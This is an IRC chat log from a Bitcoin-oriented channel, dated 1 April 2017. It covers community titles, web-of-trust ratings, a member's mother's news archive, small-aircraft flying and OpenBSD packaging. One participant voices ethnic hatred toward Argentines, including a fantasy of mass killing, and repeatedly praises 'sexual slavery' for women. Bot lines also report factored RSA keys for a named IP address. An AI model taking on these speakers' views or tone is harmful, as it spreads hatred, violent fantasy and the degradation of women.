1635338;1491006848;mod6;hai 1635339;1491006881;mod6;quick update. with all the running around i've been doing for my mom last few days, totally forgot to write up the SoBA. It might be out a day late. Or.. maybe not. 1635340;1491006885;mod6;Anyway, just a heads-up. 1635341;1491008092;mod6;heheh. so going through a lot of her things since she's moved to hospice... 1635342;1491008102;mod6;turns out she's an avid Qntra reader. 1635343;1491008133;mod6;and reads the SoBAs. she had a three-ring binder for each full of articles, etc. trilema too. 1635344;1491008148;mod6;was kinda blown away by that. 1635345;1491008181;*;shinohai makes note that she is avid Qntra reader .... 1635346;1491008278;mod6;lol, i even found one full of orlov articles. 1635347;1491008322;shinohai;xD 1635348;1491008348;shinohai;I'll bet she reads the logs, you'll find those hidden away in the attic later on. 1635349;1491008362;mod6;lol, maybe! 1635350;1491008430;shinohai;https://upload.wikimedia.org/wikipedia/commons/thumb/e/e8/Bound_computer_printout.agr.jpg/220px-Bound_computer_printout.agr.jpg <<< Printed on this 1635351;1491008439;mod6;"Interacting with fiact institution, a guide" printed 2014.03.27 16:52 1635352;1491008443;mod6;who knew? 1635353;1491008454;shinohai;A most excellent article. 1635354;1491008472;mod6;She was straight up sawing down trees for this stuff. 1635355;1491008499;shinohai;Well, this is truly all the news fit to print. 1635356;1491008520;shinohai;If she was printing out subreddits, then I might worry. 1635357;1491008558;mod6;haha, i doubt it, but who knows!? 1635358;1491008736;*;mod6 starts writing SoBA for march 1635359;1491012330;shinohai;http://news.clonezone.link/segwit <<< VERified April Fool's lelz 1635360;1491020642;ben_vulpes;nuts, mod6 1635361;1491020693;ben_vulpes;no pressure, but that's wild how your mom archived everything manually 1635362;1491020724;ben_vulpes;and maybe even read it all holy crap 1635363;1491020777;ben_vulpes;highly relevant: http://btcbase.org/log/2014-08-06#784482 1635364;1491020777;a111;Logged on 2014-08-06 00:42 mike_c: i have been in the newspaper multiple times, and i have been in trilema posts multiple times. one of these means more than the other, but I can only show my mother the newspaper clippings :) 1635365;1491020806;*;ben_vulpes is amaze at the contrast 1635366;1491022382;mircea_popescu;!!up tobi 1635367;1491022382;deedbot;tobi voiced for 30 minutes. 1635368;1491022385;mircea_popescu;!!key tobi 1635369;1491022385;deedbot;Not registered. 1635370;1491022401;mircea_popescu;!!key peter__ 1635371;1491022402;deedbot;http://wot.deedbot.org/F590F6DDBB43A103E799E240F227E723F22865C6.asc 1635372;1491022423;mircea_popescu;!!key tobi_ 1635373;1491022424;deedbot;http://wot.deedbot.org/6F383889FC697545FC819C0A628C285871F61235.asc 1635374;1491022472;mircea_popescu;!!up nacci 1635375;1491022473;deedbot;nacci voiced for 30 minutes. 1635376;1491022901;BingoBoingo;!!deed http://wotpaste.cascadianhacker.com/pastes/eFSwV/?raw=true 1635377;1491022916;deedbot;http://qntra.net/2017/04/qntra-s-qntr-march-2017-report/ << Qntra - Qntra (S.QNTR) March 2017 Report 1635378;1491022926;deedbot;accepted: 1 1635379;1491023151;mircea_popescu;http://btcbase.org/log/2017-04-01#1635339 << we'll live. 1635380;1491023151;a111;Logged on 2017-04-01 00:34 mod6: quick update. with all the running around i've been doing for my mom last few days, totally forgot to write up the SoBA. It might be out a day late. Or.. maybe not. 1635381;1491023173;mircea_popescu;http://btcbase.org/log/2017-04-01#1635343 << o.O that's so sweet! 1635382;1491023173;a111;Logged on 2017-04-01 00:55 mod6: and reads the SoBAs. she had a three-ring binder for each full of articles, etc. trilema too. 1635383;1491023366;mircea_popescu;mod6 tell urmom best compliments from the republic assembled! 1635384;1491023522;phf;"are you boys up to no good? -- no, mam" 1635385;1491023757;shinohai;"Are you building an Interocitor?" "NO!" 1635386;1491024552;BingoBoingo;http://www.jameslafond.com/article.php?id=7201 1635387;1491024793;mircea_popescu;phf is this the "i thought you were smoking" ? 1635388;1491024831;BingoBoingo;mod6: Any local news ur mom would like to see Qntra cover? 1635389;1491024996;mircea_popescu;meanwhile at the titty bar... http://68.media.tumblr.com/ef5d3d3edb7caafc86edadfe0dc2c984/tumblr_ochyum94Xl1t89i36o1_1280.jpg 1635390;1491025310;mod6;<+ben_vulpes> no pressure, but that's wild how your mom archived everything manually << ikr!? 1635391;1491025325;mod6;<+mircea_popescu> mod6 tell urmom best compliments from the republic assembled! << will do! 1635392;1491025368;mod6;<+phf> "are you boys up to no good? -- no, mam" << haha. I think she thinks we're doing great things, and have a just cause. 1635393;1491025717;mod6;<+BingoBoingo> mod6: Any local news ur mom would like to see Qntra cover? << Nothing in particular at this time. 1635394;1491025728;mod6;Will let you know though if she requests anything. 1635395;1491025805;BingoBoingo;No local grudge is too petty if the right person cares to have it covered! 1635396;1491025850;BingoBoingo;Because then it's no longer petty 1635397;1491028258;ben_vulpes;graham now funding...forums: https://news.ycombinator.com/item?id=14006159 1635398;1491029545;lobbes;http://trilema.com/2017/the-lordship-list-fourth-year/ << congrats shinohai, Framedragger 1635399;1491029581;lobbes;and thanks for teh honorable mention, danielpbarron 1635400;1491033640;lobbes;!!v 2DC6A113DB8D7CBC08C8DDB05B59B0AD1A90FA6BA89FC02BA8CFABFA5F6059BE 1635401;1491033640;deedbot;lobbes rated danielpbarron 2 << A pillar of the current Euloran economy, and longtime Republican. I also enjoyed his Super Mario Brothers 3 article 1635402;1491033652;lobbes;!!v 17FB71B17EB779891AED55AC20F8187FF957E18001577557151F8014F0097B73 1635403;1491033652;deedbot;lobbes rated hanbot 2 << Her writings on the Tardstalk forums many years ago aided in freeing me from the matrix. I will always be grateful 1635404;1491033661;lobbes;!!v 69A1DFBC5E9F82BF8AB928ED0CEED7D9F208D28B86068B2643BE89AE4211DA82 1635405;1491033662;deedbot;lobbes rated diana_coman 3 << She's done massive work over in Eulora (e.g. foxybot). Very intelligent and often willing to shepard noobs 1635406;1491033668;lobbes;!!v 838159EA40B557D46C32147C5EDC78A2E4681885C3F386F8AADB16B312AAB3C8 1635407;1491033669;deedbot;lobbes updated rating of mircea_popescu from 2 to 4 << Enzyme Supreme 1635408;1491055768;asciilifeform;in other lulz, https://archive.is/gz0l9 >> communal flats soon to be sop in usa. 1635409;1491055845;asciilifeform;( in re http://btcbase.org/log/2017-03-29#1634423 ) 1635410;1491055845;a111;Logged on 2017-03-29 22:30 asciilifeform: re shortages, lulzy trend in washington region of building block after block after block of cardboard condo towers ~which then stand dark, for years on end~ continues 1635411;1491055931;shinohai;"If you prefer a grittier vibe, you can put down roots at Potrero 1010, where you can see (and hear) the traffic on I-280 rattle away beneath your window." 1635412;1491055937;shinohai;Where do I sign up? 1635413;1491056135;*;shinohai salutes all reading the logs this morning with: https://pbs.twimg.com/media/C8N_NosVYAAzgTU.jpg, though http://btcbase.org/log/2017-04-01#1635389 is quite impressive. 1635414;1491056135;a111;Logged on 2017-04-01 05:36 mircea_popescu: meanwhile at the titty bar... http://68.media.tumblr.com/ef5d3d3edb7caafc86edadfe0dc2c984/tumblr_ochyum94Xl1t89i36o1_1280.jpg 1635415;1491056178;shinohai;http://btcbase.org/log/2017-04-01#1635398 <<< ty lobbes, cheers! o/ 1635416;1491056178;a111;Logged on 2017-04-01 06:52 lobbes: http://trilema.com/2017/the-lordship-list-fourth-year/ << congrats shinohai, Framedragger 1635417;1491056204;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D320BBC3771E3492065387616DEC679954E10D87155FC47BF0D243E9CB5CAF51 << Recent Phuctorings. - Phuctored: 1668...7179 divides RSA Moduli belonging to '96.11.246.102 (ssh-rsa key from 96.11.246.102 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (rrcs-96-11-246-102.central.biz.rr.com. US OH) 1635418;1491056205;deedbot;http://phuctor.nosuchlabs.com/gpgkey/D320BBC3771E3492065387616DEC679954E10D87155FC47BF0D243E9CB5CAF51 << Recent Phuctorings. - Phuctored: 1582...0207 divides RSA Moduli belonging to '96.11.246.102 (ssh-rsa key from 96.11.246.102 (13-14 June 2016 extraction) for Phuctor import. Ask asciilifeform or framedragger on Freenode, or email fd at mkj dot lt) ; ' (rrcs-96-11-246-102.central.biz.rr.com. US OH) 1635419;1491056415;asciilifeform;meanwhile, plagiarism of #trilema logz remains a mega-sport, evidently, https://www.blinklight.io/blog/2017-03-31/ 1635420;1491059399;mircea_popescu;http://trilema.com/2017/the-lordship-list-fourth-year/ << so on re-read it occurs to me ben_vulpes should prolly be the lord mimisbrunnr ? 1635421;1491059515;shinohai;Fitting, also if I may make slight spelling correction `be` is used twice in the Framedragger entry. 1635422;1491059546;shinohai;Oh wait. 1635423;1491059568;mircea_popescu;it is ? 1635424;1491059587;shinohai;" I propose be be inducted as the Lord Scanner." 1635425;1491059593;mircea_popescu;a ty 1635426;1491059618;shinohai;Thought my eyes were playing tricks on me this morning, after a long night staring at tits. 1635427;1491060137;mircea_popescu;the one other item is ... jurov fell off as lord treasurer. i dun exactly recall why or wherefore ; but he is STILL holding a considerable sum for the foundation, and moreover why sohuldn't he be a lord ? 1635428;1491060157;mircea_popescu;jurov did you not want on the l1 or something ? 1635429;1491060360;*;shinohai imagines mircea_popescu taking one of his girls to those sweet Costa Rican beaches: https://pbs.twimg.com/media/C6u_-84WsAUaYbJ.jpg 1635430;1491060371;asciilifeform;i have nothing against jurov, but do wonder why he does nearly all of his speaking in ye olde #b-a 1635431;1491060396;mircea_popescu;shinohai actually you're in luck, writing qntra report nao ; next piece will be about one of the girls picking costa rican bitches. 1635432;1491060418;shinohai;My lucky day, it is. 1635433;1491060419;mircea_popescu;asciilifeform this can't be a consideration can it ? 1635434;1491060426;asciilifeform;not as such 1635435;1491060449;mircea_popescu;mebbe it's the private hall he figures. on the long term everyone's going to do the majority of lines in his own hall i imagine 1635436;1491060456;mircea_popescu;he favours* i mean. 1635437;1491060561;asciilifeform;can lordly hall be a dumpster in alley ? 1635438;1491060578;mircea_popescu;wherever the lord wants. 1635439;1491060607;mircea_popescu;what, i'm not to consider petruchio ? because why not ? 1635440;1491060622;asciilifeform;0 reason. 1635441;1491060655;mircea_popescu;can't really have a fucking code of conduct. beyond "don't be offensively stupid" i can'\t imagine. he might even be gay or not wear a tie! 1635442;1491061984;deedbot;http://trilema.com/2017/qntra-sqntr-march-2017-statement/ << Trilema - Qntra (S.QNTR) March 2017 Statement 1635443;1491062275;mircea_popescu;^ shares added also 1635444;1491062574;mthreat;mircea_popescu: te fuiste de argentina? 1635445;1491062597;mircea_popescu;si si 1635446;1491062609;mthreat;for good? 1635447;1491062627;mircea_popescu;i will not set foot in that accursed shithole without a bunch of people carrying pikes 1635448;1491062637;mircea_popescu;to loosen the rectal cavities of the monkeys indigent. 1635449;1491062668;mthreat;wow ok.. and you're in CR? 1635450;1491062691;*;mircea_popescu had nfi idea what racism is ; and imagined it's mostly pretended. not so. i HATE argentines, fundamentally, and the only reason there's not 40 mn corpses in limed pits right now is that i don't have the pits. 1635451;1491062696;mircea_popescu;mthreat aha. 1635452;1491062711;asciilifeform;mircea_popescu: previously i thought 'equator --> retarded, guaranteed' -- turns out, no ? 1635453;1491062718;mthreat;cool 1635454;1491062735;mircea_popescu;asciilifeform turns out no. "watching us tv -> retarded, guaranteed". 1635455;1491062747;asciilifeform;mircea_popescu: or is it just that bananistan has no pretenses of industry, etc 1635456;1491062760;mircea_popescu;though in fairness the argentines have been argentining for a whole lot longer than cable tv existed. they're just bad stock. 1635457;1491062766;*;mthreat seeing how many nautical miles CR is from Texas 1635458;1491062789;mircea_popescu;asciilifeform it HAS!!!11 pretenses of industry. if you ask the average fucktard they think themselves an industrialized nation. irl they farm soy and try to borrow for a living. 1635459;1491062796;mircea_popescu;mthreat defo within range. 1635460;1491062812;asciilifeform;wait, soy in cr also ?! 1635461;1491062823;mircea_popescu;asciilifeform i thought we were discussing argentina. 1635462;1491062826;asciilifeform;aah 1635463;1491062846;asciilifeform;i meant 'cr and ar are both bananistans, but ar has pretense of industry' 1635464;1491062850;mthreat;1379 nautical miles. 1 fuel stop minimum, probably more, unless I want to fly directly over the gulf 1635465;1491062853;mircea_popescu;cr is a tiny nation, doesn't need to do anything in particular to survive. but at least they have the intelligence to produce cash crops like coffee rathert than commodity crops like fucking soy. 1635466;1491062861;mircea_popescu;mthreat why wouldn't you ? 1635467;1491062879;mthreat;i would, once I get a life raft :) 1635468;1491062907;mircea_popescu;eh get out. for one thing the gulf is so fucking populated you'd be picked up in three hours. for the other, the thing flies better over water. 1635469;1491062912;mircea_popescu;pack a vest. 1635470;1491062931;mircea_popescu;raft is for being dropped in behring straight. 1635471;1491062956;mthreat;water ditchings are pretty survivable, but on a non-retractable plane like mine, the risk of flipping over is real 1635472;1491062970;mthreat;if I can add 1 hour to the travel time and eliminate that risk, sometimes it's worth it 1635473;1491062998;mthreat;i wouldn't only pack a life vest, i'd wear it the whole flight! 1635474;1491063002;mircea_popescu;afaik landing is the killer. if you get to land 1 hour fresher it's also worth the risk. 1635475;1491063003;asciilifeform;mthreat: non-retractable?! what do you have, a sopwith camel ? 1635476;1491063007;mthreat;well, any portion over open water 1635477;1491063016;mircea_popescu;mthreat that was the idea lol. 1635478;1491063023;mthreat;asciilifeform: columbia 400 1635479;1491063034;mthreat;but sopwith camel would be nice, guns and all 1635480;1491063038;mircea_popescu;ehehe 1635481;1491063049;shinohai;The only person I have ever met that hated Argentines more than mircea_popescu was this girl I dated from Chile .... but evidently there is this long-standing hatred between the dos paises. 1635482;1491063056;mircea_popescu;why the fuck can't they call the cessna a cessna 1635483;1491063071;mircea_popescu;shinohai no, they just don't belong irl. girl has a point. 1635484;1491063071;asciilifeform;and why does it cost 3x what the albatross (jet!) does 1635485;1491063073;mthreat;actually it technically is a cessna 400 now, since 2008 1635486;1491063086;mthreat;but it was built by columbia before cessna acquired them 1635487;1491063091;mircea_popescu;aite. 1635488;1491063136;mircea_popescu;anyway, check it out, only 1.2k miles autonomy. 1635489;1491063144;mthreat;asciilifeform: you're probably referring to the brand-new price. the cessna 400 is a "certificated" aircraft, which means it costs more because it had to go through more FAA testing 1635490;1491063163;mthreat;the albatros is under an "experimental" certificate, so it isn't subject to the same testing in the US 1635491;1491063167;asciilifeform;mthreat: what does that get you ? license to carry passengers in usa ? 1635492;1491063169;mthreat;(since it was never certificated in the US) 1635493;1491063176;mircea_popescu;mthreat i might recommend eg villahermosa in mexico. or veracruz. 1635494;1491063190;mthreat;you can carry passengers with either plane. 1635495;1491063204;asciilifeform;then why would anybody pay the megabux for the 'certificated' 1635496;1491063215;mircea_popescu;you don't understand how the world worx. 1635497;1491063222;mthreat;mircea_popescu: i plan to do a bunch of flying to mexico soon. I flew along the rio grande a few weeks ago and my right wing was practically in mexico 1635498;1491063228;asciilifeform;'The 400 has a certified airframe maximum life of 25,200 flight hours.' << lol! 1635499;1491063235;mircea_popescu;mthreat so that works then. you ever been in cr ? 1635500;1491063250;mircea_popescu;asciilifeform airframes are rarely the problem. 1635501;1491063251;mthreat;asciilifeform: many people don't - they fly "experimentals" and save lots of money 1635502;1491063281;mircea_popescu;speaking of which, anyone flew wioth the 737-800 LATEST version ? 1635503;1491063282;mthreat;25k hours is a lot. the highest columbia probably has under 5k hours even today. 1635504;1491063300;mircea_popescu;the thing's shockingly fabulous, i've never had that "This is an exquisite piece of machinery" feeling in any commercial plane before. 1635505;1491063326;asciilifeform;mircea_popescu: pretty sure i was on the 737-800. but in the miser section, naturally 1635506;1491063336;mircea_popescu;the latest though. 1635507;1491063347;mthreat;ya the -800 is pretty new right 1635508;1491063356;mircea_popescu;it's been revised and revised since the 80s. but they came up with some exceptional engine couplings in the last (2015 ?) iteration 1635509;1491063356;asciilifeform;dunno if latest. it looked quite fresh. 1635510;1491063381;mircea_popescu;it just shocked me, i have nfi how pilots don't kill to drive it, but the thing flows like an audi. 1635511;1491063391;asciilifeform;the comp flies it. 1635512;1491063398;mircea_popescu;not on eg, takeoff 1635513;1491063457;asciilifeform;tru 1635514;1491064013;mircea_popescu;mthreat so have yo uever been in cr ? 1635515;1491064634;ben_vulpes;http://btcbase.org/log/2017-04-01#1635420 << "of the well" more pleasingly esoteric imho 1635516;1491064634;a111;Logged on 2017-04-01 15:09 mircea_popescu: http://trilema.com/2017/the-lordship-list-fourth-year/ << so on re-read it occurs to me ben_vulpes should prolly be the lord mimisbrunnr ? 1635517;1491064683;mircea_popescu;what, "Lord of the Well" ? 1635518;1491064701;ben_vulpes;mhm 1635519;1491064712;*;mircea_popescu steels himself for when someone's gonna want to be the lord of right good and proper. 1635520;1491064793;ben_vulpes;just wait for lady of the coven 1635521;1491064794;shinohai;Only if of right good and proper shaggings 1635522;1491064883;ben_vulpes;the whimsy dun matter terrifically 1635523;1491068221;deedbot;http://trilema.com/2017/the-story-of-friday/ << Trilema - The story of Friday 1635524;1491071342;shinohai;http://archive.is/N8WRB <<< lulzy but the fingerprint shit isn't so secure either. 1635525;1491071509;*;CompanionCube doesn't think the FPGA article plagiarises #trilema logz but I should most likely read/searc more to be confident about that 1635526;1491071834;trinque;did you search logs before thinking that? 1635527;1491071866;jurov;I think I can function equally well without titles. And if people stop obsessing about where I am speaking, the better. 1635528;1491071907;jurov;mircea_popescu: asciilifeform: ^ 1635529;1491072000;trinque;nope nope, Lord Gildedbuns 1635530;1491072185;jurov;Thank you ben_vulpes and BingoBoingo for support but I'm kinda on ongoing sabbatical anyway. 1635531;1491072217;doppler;https://a.uguu.se/8rfgnpehonaT.png << haha, check out my broken fonts 1635532;1491072307;trinque;one eyed wotmonster grew a beard 1635533;1491073512;mod6;jurov: Are you going to continue with your duties as Foundation Treasurer? 1635534;1491074033;diana_coman;mircea_popescu> the one other item is ... jurov fell off as lord treasurer. i dun exactly recall why or wherefore ; but he is STILL holding a considerable sum for the foundation, and moreover why sohuldn't he be a lord ? <- based on the work he did/does as far as I know it, I think he should be on the list; that being said, my understanding was that he got dropped due to http://btcbase.org/log/2016-04-03#1444966 1635535;1491074033;a111;Logged on 2016-04-03 01:59 mircea_popescu: more like a "people responsible enough to understand the difference between 'people on tilt' and 'voices of reason'". otherwise i enjoy talking with a wide selection of folks. women, even! 1635536;1491074297;jurov;and we are to revisit that every year? 1635537;1491074358;diana_coman;if it's settled/clear either way, certainly not 1635538;1491074365;trinque;nah, and I'd be surprised if your welcome weren't unanimous 1635539;1491074427;trinque;ftr I don't see a problem with jurov being on sabbatical if he returns 1635540;1491074434;trinque;what, lord can't vacation? 1635541;1491074625;diana_coman;my understanding is that a position is a person's to claim whenever he wants to/cares to, so sabbatical is certainly not a problem at all 1635542;1491074762;danielpbarron;I have no objection to jurov as lord. all my interaction with him has been positive over the years. very clean migration of some of my assets from coinbr to eulora 1635543;1491075223;mod6;I have no objections at all. Just curious if 'sabbatical' entailed a long enough absense to warrant someone else taking over as Foundation Treasurer. 1635544;1491075257;mod6;Hopefully not, as jurov has completed his duties very well thus far. 1635545;1491075489;shinohai;http://archive.is/RYKO4 <<< Fortunately all my clients are safe and accounted for. 1635546;1491075744;jurov;mod6: the treasurer duty is very light one, so it's not a problem at all 1635547;1491075989;*;CompanionCube would be interested in reading deedbot's source at some point 1635548;1491076010;mod6;jurov: aha, ok good deal! 1635549;1491076167;trinque;CompanionCube: http://trinque.org/2016/08/11/logbot-genesis/ 1635550;1491076178;trinque;wot service shall be posted there at some unspecified future date 1635551;1491076252;CompanionCube;trinque: RSS too? 1635552;1491076267;trinque;I mean, I'm not going to post every trivial thing 1635553;1491076276;CompanionCube;makes sense 1635554;1491076322;trinque;if your thing can insert into pg, it can talk to logbot. 1635555;1491076372;shinohai;I've been playing with it some to learn lisp, was thinking of switching jhvh1 over at some point. 1635556;1491076653;trinque;neato 1635557;1491076830;*;shinohai also thanks trinque for pushing him to new frontiers that day in the other chan ... 1635558;1491077054;mircea_popescu;meanwhile in carpeting, http://68.media.tumblr.com/cd8d127786582d937336acd058607ce5/tumblr_o6yn4lM1yK1teew6yo1_1280.jpg 1635559;1491077202;mircea_popescu;http://btcbase.org/log/2017-04-01#1635408 << there's this ancient mp idea / article about giving "student" chicks free rent in exchange for living in all-glass no-clothes arrangements. make shop windows great again. 1635560;1491077202;a111;Logged on 2017-04-01 14:09 asciilifeform: in other lulz, https://archive.is/gz0l9 >> communal flats soon to be sop in usa. 1635561;1491077255;mircea_popescu;"Each of HomeShare’s hundreds of tenants gets about 55 square feet along with half a closet, half a bathroom, and a compact common area shared with a roommate and usually two other flatmates, slumbering in the unit’s other divided bedroom." << how's this supposed to be preferable to simple, honest to god sexual slavery is anyone's guess. 1635562;1491077265;mircea_popescu;but i guess the natural solution "doesn't scale". 1635563;1491077511;mircea_popescu;http://btcbase.org/log/2017-04-01#1635525 << why not ? just default assumption, "$random-nobody came up with shit on his own" ? 1635564;1491077511;a111;Logged on 2017-04-01 18:31 CompanionCube doesn't think the FPGA article plagiarises #trilema logz but I should most likely read/searc more to be confident about that 1635565;1491077583;CompanionCube;mircea_popescu: imo plagiarism requires intent and knowledge - mere repetition of the idea s 1635566;1491077602;CompanionCube;*isnt' enough if you didn't originally find the idea somewhere else 1635567;1491077610;shinohai;All these lurkers aren't her for nothing! 1635568;1491077615;shinohai;*here 1635569;1491077618;mircea_popescu;what's your word for "i'm just stating stuff others have said without referencing" ? 1635570;1491077633;mircea_popescu;http://btcbase.org/log/2017-04-01#1635531 << looks like some default won't demean itself to the point of scaling or anythng! 1635571;1491077633;a111;Logged on 2017-04-01 18:43 doppler: https://a.uguu.se/8rfgnpehonaT.png << haha, check out my broken fonts 1635572;1491077708;mircea_popescu;http://btcbase.org/log/2017-04-01#1635545 << it's pretty though. that's what you get for pretty. 1635573;1491077708;a111;Logged on 2017-04-01 19:38 shinohai: http://archive.is/RYKO4 <<< Fortunately all my clients are safe and accounted for. 1635574;1491077811;CompanionCube;mircea_popescu: coincidence or independent thought? Unless it's somewhere trivially easy to find, that is 1635575;1491077839;CompanionCube;the scale of the internet and the world makes it more likely than not. 1635576;1491077844;mircea_popescu;the problem is this : i/we don't deem $nobody capable of independent thought. 1635577;1491077850;mircea_popescu;it's just not an assumption that is made. 1635578;1491077874;mircea_popescu;either you are somebody, in which case you may have ideas ; or else you are nobody, in which case you stole them. 1635579;1491077880;mircea_popescu;very much as property works in the empire. 1635580;1491077960;CompanionCube;where somebody == being in the WoT/trilema? 1635581;1491078003;mircea_popescu;not necessarily. but "here's a bootstrap website" certainly dun qualify. 1635582;1491078027;mircea_popescu;that's definitionally a mfa, aka "i pick up rss feeds and wordspin for google". except here it's not for google, but for naive civillians. 1635583;1491078089;mircea_popescu;in any case, dude droning on about "his ideas re evolution" is going to make a very poor impression. as they aren't his fucking ideas, and an apparent ignorance of the whole darwin thing does not plead in favour of either his intelligence or his culture. 1635584;1491078099;mircea_popescu;notwithstanding that yes, evolution is an observable phenomenon. 1635585;1491078401;mircea_popescu;CompanionCube the point of interest for all this is obviously http://btcbase.org/log/2016-08-17#1523269 both in-chan context an' references. 1635586;1491078401;a111;Logged on 2016-08-17 17:02 mircea_popescu: Framedragger the reason there's a lot of credence in phf's perhaps harsh criticism is http://trilema.com/2014/how-to-make-money-on-the-internet-while-pretending-you-know-what-youre-talking-about-and-accumulating-a-legion-of-mindless-followers-for-fun-and-profit/ 1635587;1491078435;*;CompanionCube reads 1635588;1491078490;deedbot;http://qntra.net/2017/04/us-infrastructure-today-trumps-epa-saves-california-agriculture-and-vagrants-drop-atlanta-bridge/ << Qntra - US Infrastructure Today: Trump's EPA Saves California Agriculture And Vagrants Drop Atlanta Bridge 1635589;1491083754;asciilifeform;http://btcbase.org/log/2017-04-01#1635561 << not every beastie is pet-grade. some -- kennel-grade, others -- soap-. 1635590;1491083754;a111;Logged on 2017-04-01 20:07 mircea_popescu: "Each of HomeShare’s hundreds of tenants gets about 55 square feet along with half a closet, half a bathroom, and a compact common area shared with a roommate and usually two other flatmates, slumbering in the unit’s other divided bedroom." << how's this supposed to be preferable to simple, honest to god sexual slavery is anyone's guess. 1635591;1491083847;mircea_popescu;yes, in actual terms. but in aspirational terms ? 1635592;1491083856;asciilifeform;what's that mean 1635593;1491083919;asciilifeform;i'd picture many of the chix would agree to join as junior deck swabbie in mircea_popescu's dirigible. but -- no such luck. (and for that matter, no such luck for the d00dz, either, in any case) 1635594;1491083949;mircea_popescu;that while not all of the us livestock is fit for either sexual slavery or "our democracy" whatever the fuck they would call their current activities ; "raising awareness and waiting for their day" whatever it may be -- nevertheless sexual slavery is a much more legitimate ASPIRATION than whatever they aspire to, namely "our democracy" or "speaking at a conference" or w/e the shit. 1635595;1491083967;asciilifeform;i've deeply nfi what they aspire to inside their skulls. 1635596;1491083992;asciilifeform;probably -- not the communal flat 1635597;1491084015;mircea_popescu;it's not clear to me what specifically they aspire to, but it IS clear to me that the plurious "variety" in that aspiration is strictly of the nature of the variant surface glycoproteins, protecting protozoans from the immune system 1635598;1491084030;mircea_popescu;and in any case inferior to actual sexual slavery on the face. 1635599;1491084087;mircea_popescu;asciilifeform i'd guess the closest to home summation would be "they aspire to be well regarded by an entity they can respect". 1635600;1491084153;mircea_popescu;a doomed entreprise, obviously. even the more intelligent among the herd are actively laboring to make themselves intolerable and to undermine any possiblity of even vaguely respectable entities sharing their space. 1635601;1491084166;mircea_popescu;which is pretty much how i'd sum up eg djb's recent debacle. 1635602;1491084168;jurov;!!deed http://therealbitcoin.org/ml/btc-dev/attachments/20170402/attachment.txt 1635603;1491084193;deedbot;accepted: 1 1635604;1491084614;mircea_popescu;!~google human babesiosis in the us 1635605;1491084615;jhvh1;mircea_popescu: CDC - Babesiosis: ; CDC - Babesiosis - Data & Statistics: ; Human Babesiosis - NCBI - NIH: 1635606;1491084632;mircea_popescu;ben_vulpes ^ dangers afoot. 1635607;1491085195;shinohai;!!up nacci 1635608;1491085196;deedbot;nacci voiced for 30 minutes. 1635609;1491085232;nacci;greetings 1635610;1491085238;mircea_popescu;ello 1635611;1491085287;nacci;i've taken an interest in openbsd on powerpc and found there are folks here doing just that 1635612;1491085356;nacci;http://btcbase.org/log/2016-06-20#1485783 1635613;1491085356;a111;Logged on 2016-06-20 18:40 trinque: I'm clutching to hand-compiled driftwood on openbsd 1635614;1491085361;mircea_popescu;iirc danielpbarron had one 1635615;1491085435;nacci;sadly it does not appear to be well supported 1635616;1491085492;asciilifeform;as far as defunct chips go, it's exquisitely well-supported... 1635617;1491085560;nacci;the latest stable version has some regressions that people have posted about on the mailing list 1635618;1491085659;asciilifeform;microshit's sponsorship did not ~immediately~ turn openbsd to liquishit, but it is foolish to expect that it can withstand infinitely many years of it with 0 symptoms 1635619;1491085884;nacci;yeah there are some interesting decisions made along the way, such as over a dozen drupal packages. . . 1635620;1491085900;asciilifeform;is it infested with systemd yet ? 1635621;1491085913;asciilifeform;dbus is already cemented in, last i saw 1635622;1491085943;asciilifeform;(and that was 3 or so yrs ago) 1635623;1491085951;nacci;perhaps the republic will need to maintain its own os in which to run trb 1635624;1491085969;nacci;would be a bit of a yak-shaving enterprise 1635625;1491085983;asciilifeform;nacci: we already have this, from 2 yrs ago, just not (afaik) currently in use . 1635626;1491085987;asciilifeform;sits, in reserve. 1635627;1491086002;asciilifeform;!#s rotor 1635628;1491086003;a111;449 results for "rotor", http://btcbase.org/log-search?q=rotor 1635629;1491086074;asciilifeform;builds static trb, bootable initrd+kernel, busybox userland, ~5MB (littleendian arm) package all in all. 1635630;1491086103;asciilifeform;x86 weighed about same 1635631;1491086498;trinque;asciilifeform: dbus is not in the base system wtf 1635632;1491086521;asciilifeform;trinque: it ends up installed if you build emacs 1635633;1491086525;asciilifeform;what's that if not 'base system' 1635634;1491086531;trinque;do you realize how easy it is to have your own port makefiles? 1635635;1491086548;asciilifeform;next : how easy it is to build own unixlike from scratch 1635636;1491086552;asciilifeform;yes, it is not deep science. 1635637;1491086563;asciilifeform;sophomore undergrad homework, yes 1635638;1491086565;trinque;no, it's built *such that* you can do this trivially 1635639;1491086574;asciilifeform;trinque: if you did this -- plz to post recipe. 1635640;1491086577;asciilifeform;for other folx. 1635641;1491086583;asciilifeform;i could use a usable openbsd box, for instance. 1635642;1491086626;asciilifeform;show how to set it up so that -- analogously to my gentoo curative pill, discussed on many occasions here -- dbus is NEVER, EVER built, NO MATTER WHAT 1635643;1491086640;nacci;if a node can be run securely, the rest of computing can continue the shit show 1635644;1491086647;asciilifeform;if i can do this, without having to individually disinfect ~every~ port -- it'd be great. plox to show how. 1635645;1491086649;trinque;http://p.bvulpes.com/pastes/2CYJH/?raw=true << /usr/ports/local/emacs/Makefile 1635646;1491086666;trinque;asciilifeform: leave the goalpost where it was, eh? 1635647;1491086667;asciilifeform;trinque: yes but can i kill it with systemwide flamethrower ? 1635648;1491086680;asciilifeform;rather than pry out with tweezers 10,001 times. 1635649;1491086689;trinque;portage is a wad of shit 1635650;1491086697;trinque;I know this from diving in to port it 1635651;1491086699;asciilifeform;the goal post is set by my gentoo boxes, running since '07 1635652;1491086716;asciilifeform;trinque: indeed quite terrible thing, but i can get permanent no-dbus there. can haz on bsd ? 1635653;1491086717;trinque;"this here wad of shit is my house though!" 1635654;1491086753;asciilifeform;this'ere wad of shit is dry enough to put a primitive hut on top. and it turns over very rarely. would like the same on bsd. 1635655;1491086778;asciilifeform;btw trinque that looks like gtk3 in your makefile 1635656;1491086779;nacci;asciilifeform, is it necessary to stay up-to-date? 1635657;1491086783;asciilifeform;afaik gtk3 mandates dbus. 1635658;1491086797;asciilifeform;nacci: what means 'stay up-to-date' ? 1635659;1491086839;nacci;let the punters continue with the architectural experiments and run on some version chosen arbitrarily, maybe porting over critical fixes 1635660;1491086853;trinque;who are you again nacci ? 1635661;1491086858;nacci;i suppose that's not much better than getting out the tweasers 1635662;1491086910;nacci;i am the wonderous nacci, previously non-wot, but want to participate in the discussion, I do like the philosophical approach I've found here 1635663;1491086937;asciilifeform;nacci: consider registering with deedbot. 1635664;1491086951;asciilifeform;it takes all 